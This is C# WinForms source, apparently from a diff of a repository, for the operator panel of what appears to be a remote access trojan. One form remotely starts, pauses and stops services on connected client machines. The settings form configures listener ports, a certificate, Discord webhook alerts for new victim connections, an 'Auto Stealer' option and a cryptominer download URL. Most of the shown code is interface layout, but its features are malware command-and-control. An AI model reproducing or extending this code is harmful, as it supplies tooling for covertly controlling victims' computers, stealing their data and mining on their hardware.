private DataGridViewTextBoxColumn Column1;
private DataGridViewTextBoxColumn Column2;
private DataGridViewTextBoxColumn Column3;
private DataGridViewTextBoxColumn Column4;
private DataGridViewTextBoxColumn Column5;
public FormService()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
typeof(DataGridView).InvokeMember("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.SetProperty, null, dataGridView2, new object[1] { true });
}
private void ChangeScheme(object sender)
{
dataGridView2.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
dataGridView2.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private string[] DisplayNameSelected()
{
List<string> list = new List<string>();
foreach (DataGridViewRow selectedRow in dataGridView2.SelectedRows)
{
list.Add((string)selectedRow.Cells[1].Value);
}
return list.ToArray();
}
private void killRemoveToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[1] { "Refresh" }));
}
private void startToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
string[] array = DisplayNameSelected();
foreach (string text in array)
{
client.Send(LEB128.Write(new object[2] { "Start", text }));
}
}
}
private void pauseToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
string[] array = DisplayNameSelected();
foreach (string text in array)
{
client.Send(LEB128.Write(new object[2] { "Pause", text }));
}
}
}
private void stopToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
string[] array = DisplayNameSelected();
foreach (string text in array)
{
client.Send(LEB128.Write(new object[2] { "Stop", text }));
}
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormService));
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.startToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.pauseToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.stopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.killRemoveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.panel1 = new System.Windows.Forms.Panel();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.dataGridView2 = new System.Windows.Forms.DataGridView();
this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.contextMenuStrip1.SuspendLayout();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[4] { this.startToolStripMenuItem, this.pauseToolStripMenuItem, this.stopToolStripMenuItem, this.killRemoveToolStripMenuItem });
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(181, 114);
this.startToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("startToolStripMenuItem.Image");
this.startToolStripMenuItem.Name = "startToolStripMenuItem";
this.startToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.startToolStripMenuItem.Text = "Start";
this.startToolStripMenuItem.Click += new System.EventHandler(startToolStripMenuItem_Click);
this.pauseToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("pauseToolStripMenuItem.Image");
this.pauseToolStripMenuItem.Name = "pauseToolStripMenuItem";
this.pauseToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.pauseToolStripMenuItem.Text = "Pause";
this.pauseToolStripMenuItem.Click += new System.EventHandler(pauseToolStripMenuItem_Click);
this.stopToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("stopToolStripMenuItem.Image");
this.stopToolStripMenuItem.Name = "stopToolStripMenuItem";
this.stopToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.stopToolStripMenuItem.Text = "Stop";
this.stopToolStripMenuItem.Click += new System.EventHandler(stopToolStripMenuItem_Click);
this.killRemoveToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("killRemoveToolStripMenuItem.Image");
this.killRemoveToolStripMenuItem.Name = "killRemoveToolStripMenuItem";
this.killRemoveToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.killRemoveToolStripMenuItem.Text = "Refresh";
this.killRemoveToolStripMenuItem.Click += new System.EventHandler(killRemoveToolStripMenuItem_Click);
this.panel1.Controls.Add(this.materialLabel1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panel1.Location = new System.Drawing.Point(3, 512);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(794, 20);
this.panel1.TabIndex = 1;
this.materialLabel1.AutoSize = true;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(2, 1);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(94, 19);
this.materialLabel1.TabIndex = 1;
this.materialLabel1.Text = "Please wait...";
this.dataGridView2.AllowDrop = true;
this.dataGridView2.AllowUserToAddRows = false;
this.dataGridView2.AllowUserToDeleteRows = false;
this.dataGridView2.AllowUserToResizeColumns = false;
this.dataGridView2.AllowUserToResizeRows = false;
this.dataGridView2.BackgroundColor = System.Drawing.Color.White;
this.dataGridView2.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.dataGridView2.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.dataGridView2.Columns.AddRange(this.Column1, this.Column2, this.Column3, this.Column4, this.Column5);
this.dataGridView2.ContextMenuStrip = this.contextMenuStrip1;
this.dataGridView2.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle2;
this.dataGridView2.Dock = System.Windows.Forms.DockStyle.Fill;
this.dataGridView2.Enabled = false;
this.dataGridView2.EnableHeadersVisualStyles = false;
this.dataGridView2.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.dataGridView2.Location = new System.Drawing.Point(3, 64);
this.dataGridView2.Name = "dataGridView2";
this.dataGridView2.ReadOnly = true;
this.dataGridView2.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.dataGridView2.RowHeadersVisible = false;
this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView2.ShowCellErrors = false;
this.dataGridView2.ShowCellToolTips = false;
this.dataGridView2.ShowEditingIcon = false;
this.dataGridView2.ShowRowErrors = false;
this.dataGridView2.Size = new System.Drawing.Size(794, 448);
this.dataGridView2.TabIndex = 17;
this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column1.HeaderText = "Service";
this.Column1.Name = "Column1";
this.Column1.ReadOnly = true;
this.Column1.Width = 70;
this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column2.HeaderText = "Display Name";
this.Column2.MinimumWidth = 150;
this.Column2.Name = "Column2";
this.Column2.ReadOnly = true;
this.Column2.Width = 150;
this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column3.HeaderText = "Type";
this.Column3.Name = "Column3";
this.Column3.ReadOnly = true;
this.Column3.Width = 55;
this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column4.HeaderText = "Status";
this.Column4.Name = "Column4";
this.Column4.ReadOnly = true;
this.Column4.Width = 65;
this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.Column5.HeaderText = "Can Stop";
this.Column5.Name = "Column5";
this.Column5.ReadOnly = true;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(800, 535);
base.Controls.Add(this.dataGridView2);
base.Controls.Add(this.panel1);
base.Name = "FormService";
this.Text = "Netstat";
base.Load += new System.EventHandler(FormProcess_Load);
this.contextMenuStrip1.ResumeLayout(false);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).EndInit();
base.ResumeLayout(false);
}
}
+504
View File
@@ -0,0 +1,504 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using MaterialSkin.Controls;
using Newtonsoft.Json;
using Server.Connectings;
using Server.Data;
using Server.Helper;
namespace Server.Forms;
public class FormSettings : FormMaterial
{
public static List<Listner> listners = new List<Listner>();
private IContainer components;
private RJTextBox rjTextBox1;
private RJButton rjButton1;
private GroupBox groupBox1;
private MaterialLabel materialLabel2;
private Label materialLabel1;
private MaterialLabel materialLabel3;
private NumericUpDown numericUpDown1;
private GroupBox groupBox2;
private RJTextBox rjTextBox2;
public MaterialSwitch materialSwitch1;
public MaterialSwitch materialSwitch2;
private GroupBox groupBox3;
private RJTextBox rjTextBox3;
private GroupBox groupBox4;
private MaterialLabel materialLabel4;
private RJComboBox rjComboBox1;
private CheckBox checkBox2;
// New theme controls
private GroupBox groupBox5;
private MaterialLabel materialLabel5;
private RJComboBox rjComboBoxTheme;
public FormSettings()
{
InitializeComponent();
}
private void FormSettings_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
if (File.Exists("local\\Settings.json"))
{
Settings settings = JsonConvert.DeserializeObject<Settings>(File.ReadAllText("local\\Settings.json"));
materialSwitch1.Checked = settings.WebHookNewConnect;
materialSwitch2.Checked = settings.WebHookConnect;
checkBox2.Checked = settings.AutoStealer;
rjTextBox2.Texts = settings.WebHook;
rjTextBox1.Texts = string.Join(",", (IEnumerable<string>)settings.Ports);
rjTextBox3.Texts = settings.linkMiner;
rjComboBox1.SelectedIndex = settings.Style;
rjComboBoxTheme.SelectedIndex = settings.Theme;
numericUpDown1.Value = settings.second;
}
if (listners.Count > 0)
{
rjTextBox1.Enabled = false;
rjButton1.Text = "Stop";
materialLabel1.Text = "Status: [Listner ports: ";
string text = "";
foreach (Listner listner in listners)
{
text = text + listner.port + ",";
}
text = text.Remove(text.Length - 1, 1);
Label label = materialLabel1;
label.Text = label.Text + text + "]";
}
if (Certificate.Imported)
{
materialLabel2.Text = "Certificate: [Imported]";
}
base.FormClosing += ClosingForm;
}
private void ChangeScheme(object sender)
{
numericUpDown1.ForeColor = FormMaterial.PrimaryColor;
rjComboBox1.BorderColor = FormMaterial.PrimaryColor;
rjComboBoxTheme.BorderColor = FormMaterial.PrimaryColor;
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
rjTextBox2.BorderColor = FormMaterial.PrimaryColor;
rjTextBox3.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BackColor = FormMaterial.PrimaryColor;
}
private void ClosingForm(object sender, EventArgs e)
{
Settings settings = new Settings();
settings.Ports = rjTextBox1.Texts.Split(',');
settings.Start = rjButton1.Text == "Stop";
settings.second = (int)numericUpDown1.Value;
settings.WebHookNewConnect = materialSwitch1.Checked;
settings.WebHookConnect = materialSwitch2.Checked;
settings.AutoStealer = checkBox2.Checked;
settings.WebHook = rjTextBox2.Texts;
settings.linkMiner = rjTextBox3.Texts;
settings.Style = rjComboBox1.SelectedIndex;
settings.Theme = rjComboBoxTheme.SelectedIndex;
Program.form.settings = settings;
File.WriteAllText("local\\Settings.json", JsonConvert.SerializeObject(settings));
}
private void rjButton1_Click(object sender, EventArgs e)
{
if (string.IsNullOrEmpty(rjButton1.Text))
{
return;
}
if (materialLabel2.Text == "Certificate: [Not Exists]")
{
new FormCertificate().ShowDialog();
}
else if (rjButton1.Text == "Start")
{
rjTextBox1.Enabled = false;
rjButton1.Text = "Stop";
rjTextBox1.Texts.Split(',').ToList().ForEach(delegate(string item)
{
listners.Add(new Listner(Convert.ToInt32(item)));
});
materialLabel1.Text = "Status: [Listner ports: ";
foreach (Listner listner in listners)
{
Label label = materialLabel1;
label.Text = label.Text + listner.port + ",";
}
materialLabel1.Text = materialLabel1.Text.Remove(materialLabel1.Text.Length - 1, 1) + "]";
}
else
{
rjButton1.Text = "Start";
rjTextBox1.Enabled = true;
listners.ForEach(delegate(Listner item)
{
item.Stop();
});
listners.Clear();
materialLabel1.Text = "Status: [offline]";
}
}
private void rjComboBox1_OnSelectedIndexChanged(object sender, EventArgs e)
{
MaterialSkinManager instance = MaterialSkinManager.Instance;
FormMaterial.GetColorScheme(rjComboBox1.SelectedIndex, instance);
// Keep current theme setting
if (rjComboBoxTheme.SelectedIndex == 1)
{
instance.Theme = MaterialSkinManager.Themes.DARK;
}
else
{
instance.Theme = MaterialSkinManager.Themes.LIGHT;
}
Refresh();
}
private void rjComboBoxTheme_OnSelectedIndexChanged(object sender, EventArgs e)
{
MaterialSkinManager instance = MaterialSkinManager.Instance;
if (rjComboBoxTheme.SelectedIndex == 1)
{
instance.Theme = MaterialSkinManager.Themes.DARK;
}
else
{
instance.Theme = MaterialSkinManager.Themes.LIGHT;
}
Refresh();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.groupBox1 = new System.Windows.Forms.GroupBox();
this.checkBox2 = new System.Windows.Forms.CheckBox();
this.materialLabel3 = new MaterialSkin.Controls.MaterialLabel();
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
this.materialLabel1 = new System.Windows.Forms.Label();
this.materialLabel2 = new MaterialSkin.Controls.MaterialLabel();
this.groupBox2 = new System.Windows.Forms.GroupBox();
this.materialSwitch2 = new MaterialSkin.Controls.MaterialSwitch();
this.materialSwitch1 = new MaterialSkin.Controls.MaterialSwitch();
this.rjTextBox2 = new CustomControls.RJControls.RJTextBox();
this.groupBox3 = new System.Windows.Forms.GroupBox();
this.rjTextBox3 = new CustomControls.RJControls.RJTextBox();
this.groupBox4 = new System.Windows.Forms.GroupBox();
this.materialLabel4 = new MaterialSkin.Controls.MaterialLabel();
this.rjComboBox1 = new CustomControls.RJControls.RJComboBox();
this.groupBox5 = new System.Windows.Forms.GroupBox();
this.materialLabel5 = new MaterialSkin.Controls.MaterialLabel();
this.rjComboBoxTheme = new CustomControls.RJControls.RJComboBox();
this.groupBox1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.numericUpDown1).BeginInit();
this.groupBox2.SuspendLayout();
this.groupBox3.SuspendLayout();
this.groupBox4.SuspendLayout();
this.groupBox5.SuspendLayout();
base.SuspendLayout();
this.rjTextBox1.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox1.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.DarkViolet;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 2;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox1.Location = new System.Drawing.Point(16, 20);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "Ports";
this.rjTextBox1.Size = new System.Drawing.Size(250, 31);
this.rjTextBox1.TabIndex = 0;
this.rjTextBox1.Texts = "";
this.rjTextBox1.UnderlinedStyle = false;
this.rjButton1.BackColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.BackgroundColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.BorderColor = System.Drawing.Color.DarkViolet;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(16, 58);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(103, 29);
this.rjButton1.TabIndex = 1;
this.rjButton1.Text = "Start";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.groupBox1.Controls.Add(this.checkBox2);
this.groupBox1.Controls.Add(this.materialLabel3);
this.groupBox1.Controls.Add(this.numericUpDown1);
this.groupBox1.Controls.Add(this.materialLabel1);
this.groupBox1.Controls.Add(this.materialLabel2);
this.groupBox1.Controls.Add(this.rjTextBox1);
this.groupBox1.Controls.Add(this.rjButton1);
this.groupBox1.Location = new System.Drawing.Point(15, 67);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new System.Drawing.Size(407, 200);
this.groupBox1.TabIndex = 2;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "Server";
this.checkBox2.AutoSize = true;
this.checkBox2.Location = new System.Drawing.Point(315, 166);
this.checkBox2.Name = "checkBox2";
this.checkBox2.Size = new System.Drawing.Size(84, 17);
this.checkBox2.TabIndex = 7;
this.checkBox2.Text = "Auto Stealer";
this.checkBox2.UseVisualStyleBackColor = true;
this.materialLabel3.AutoSize = true;
this.materialLabel3.Depth = 0;
this.materialLabel3.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel3.Location = new System.Drawing.Point(193, 68);
this.materialLabel3.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel3.Name = "materialLabel3";
this.materialLabel3.Size = new System.Drawing.Size(116, 19);
this.materialLabel3.TabIndex = 6;
this.materialLabel3.Text = "Ping Disconnect";
this.numericUpDown1.Location = new System.Drawing.Point(315, 67);
this.numericUpDown1.Maximum = new decimal(new int[4] { 120, 0, 0, 0 });
this.numericUpDown1.Minimum = new decimal(new int[4] { 15, 0, 0, 0 });
this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Size = new System.Drawing.Size(62, 20);
this.numericUpDown1.TabIndex = 5;
this.numericUpDown1.Value = new decimal(new int[4] { 35, 0, 0, 0 });
this.materialLabel1.AutoSize = true;
this.materialLabel1.Font = new System.Drawing.Font("Cambria", 14.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.materialLabel1.Location = new System.Drawing.Point(12, 102);
this.materialLabel1.MaximumSize = new System.Drawing.Size(270, 0);
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(134, 22);
this.materialLabel1.TabIndex = 4;
this.materialLabel1.Text = "Status: [offline]";
this.materialLabel2.AutoSize = true;
this.materialLabel2.Depth = 0;
this.materialLabel2.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel2.Location = new System.Drawing.Point(13, 166);
this.materialLabel2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel2.Name = "materialLabel2";
this.materialLabel2.Size = new System.Drawing.Size(160, 19);
this.materialLabel2.TabIndex = 3;
this.materialLabel2.Text = "Certificate: [Not Exists]";
this.groupBox2.Controls.Add(this.materialSwitch2);
this.groupBox2.Controls.Add(this.materialSwitch1);
this.groupBox2.Controls.Add(this.rjTextBox2);
this.groupBox2.Location = new System.Drawing.Point(15, 282);
this.groupBox2.Name = "groupBox2";
this.groupBox2.Size = new System.Drawing.Size(407, 109);
this.groupBox2.TabIndex = 7;
this.groupBox2.TabStop = false;
this.groupBox2.Text = "Discord Notificator";
this.materialSwitch2.AutoSize = true;
this.materialSwitch2.Depth = 0;
this.materialSwitch2.Location = new System.Drawing.Point(190, 59);
this.materialSwitch2.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch2.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch2.Name = "materialSwitch2";
this.materialSwitch2.Ripple = true;
this.materialSwitch2.Size = new System.Drawing.Size(116, 37);
this.materialSwitch2.TabIndex = 63;
this.materialSwitch2.Text = "Connect";
this.materialSwitch2.UseVisualStyleBackColor = true;
this.materialSwitch1.AutoSize = true;
this.materialSwitch1.Depth = 0;
this.materialSwitch1.Location = new System.Drawing.Point(16, 59);
this.materialSwitch1.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch1.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch1.Name = "materialSwitch1";
this.materialSwitch1.Ripple = true;
this.materialSwitch1.Size = new System.Drawing.Size(151, 37);
this.materialSwitch1.TabIndex = 62;
this.materialSwitch1.Text = "New Connect";
this.materialSwitch1.UseVisualStyleBackColor = true;
this.rjTextBox2.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox2.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox2.BorderFocusColor = System.Drawing.Color.DarkViolet;
this.rjTextBox2.BorderRadius = 0;
this.rjTextBox2.BorderSize = 2;
this.rjTextBox2.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox2.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox2.Location = new System.Drawing.Point(16, 20);
this.rjTextBox2.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox2.Multiline = false;
this.rjTextBox2.Name = "rjTextBox2";
this.rjTextBox2.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox2.PasswordChar = false;
this.rjTextBox2.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox2.PlaceholderText = "Webhook";
this.rjTextBox2.Size = new System.Drawing.Size(384, 31);
this.rjTextBox2.TabIndex = 0;
this.rjTextBox2.Texts = "";
this.rjTextBox2.UnderlinedStyle = false;
this.groupBox3.Controls.Add(this.rjTextBox3);
this.groupBox3.Location = new System.Drawing.Point(15, 397);
this.groupBox3.Name = "groupBox3";
this.groupBox3.Size = new System.Drawing.Size(407, 65);
this.groupBox3.TabIndex = 64;
this.groupBox3.TabStop = false;
this.groupBox3.Text = "Miner Download";
this.rjTextBox3.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox3.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox3.BorderFocusColor = System.Drawing.Color.DarkViolet;
this.rjTextBox3.BorderRadius = 0;
this.rjTextBox3.BorderSize = 2;
this.rjTextBox3.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox3.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox3.Location = new System.Drawing.Point(16, 20);
this.rjTextBox3.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox3.Multiline = false;
this.rjTextBox3.Name = "rjTextBox3";
this.rjTextBox3.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox3.PasswordChar = false;
this.rjTextBox3.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox3.PlaceholderText = "url";
this.rjTextBox3.Size = new System.Drawing.Size(384, 31);
this.rjTextBox3.TabIndex = 0;
this.rjTextBox3.Texts = "";
this.rjTextBox3.UnderlinedStyle = false;
this.groupBox4.Controls.Add(this.materialLabel4);
this.groupBox4.Controls.Add(this.rjComboBox1);
this.groupBox4.Location = new System.Drawing.Point(428, 67);
this.groupBox4.Name = "groupBox4";
this.groupBox4.Size = new System.Drawing.Size(407, 100);
this.groupBox4.TabIndex = 65;
this.groupBox4.TabStop = false;
this.groupBox4.Text = "Color Scheme";
this.materialLabel4.AutoSize = true;
this.materialLabel4.Depth = 0;
this.materialLabel4.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel4.Location = new System.Drawing.Point(16, 20);
this.materialLabel4.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel4.Name = "materialLabel4";
this.materialLabel4.Size = new System.Drawing.Size(45, 19);
this.materialLabel4.TabIndex = 1;
this.materialLabel4.Text = "Color:";
this.rjComboBox1.BackColor = System.Drawing.Color.WhiteSmoke;
this.rjComboBox1.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjComboBox1.BorderSize = 1;
this.rjComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDown;
this.rjComboBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 10f);
this.rjComboBox1.ForeColor = System.Drawing.Color.DimGray;
this.rjComboBox1.IconColor = System.Drawing.Color.MediumSlateBlue;
this.rjComboBox1.Items.AddRange(new object[20] { "Purple", "Blue", "Red", "Green", "Orange", "Yellow", "Deep Purple", "Teal", "Cyan", "Light Blue", "Lime", "Indigo", "Deep Orange", "Amber", "Pink", "Light Green", "Blue Grey", "Brown", "Grey", "Dark Grey" });
this.rjComboBox1.ListBackColor = System.Drawing.Color.FromArgb(230, 228, 245);
this.rjComboBox1.ListTextColor = System.Drawing.Color.DimGray;
this.rjComboBox1.Location = new System.Drawing.Point(16, 42);
this.rjComboBox1.MinimumSize = new System.Drawing.Size(200, 30);
this.rjComboBox1.Name = "rjComboBox1";
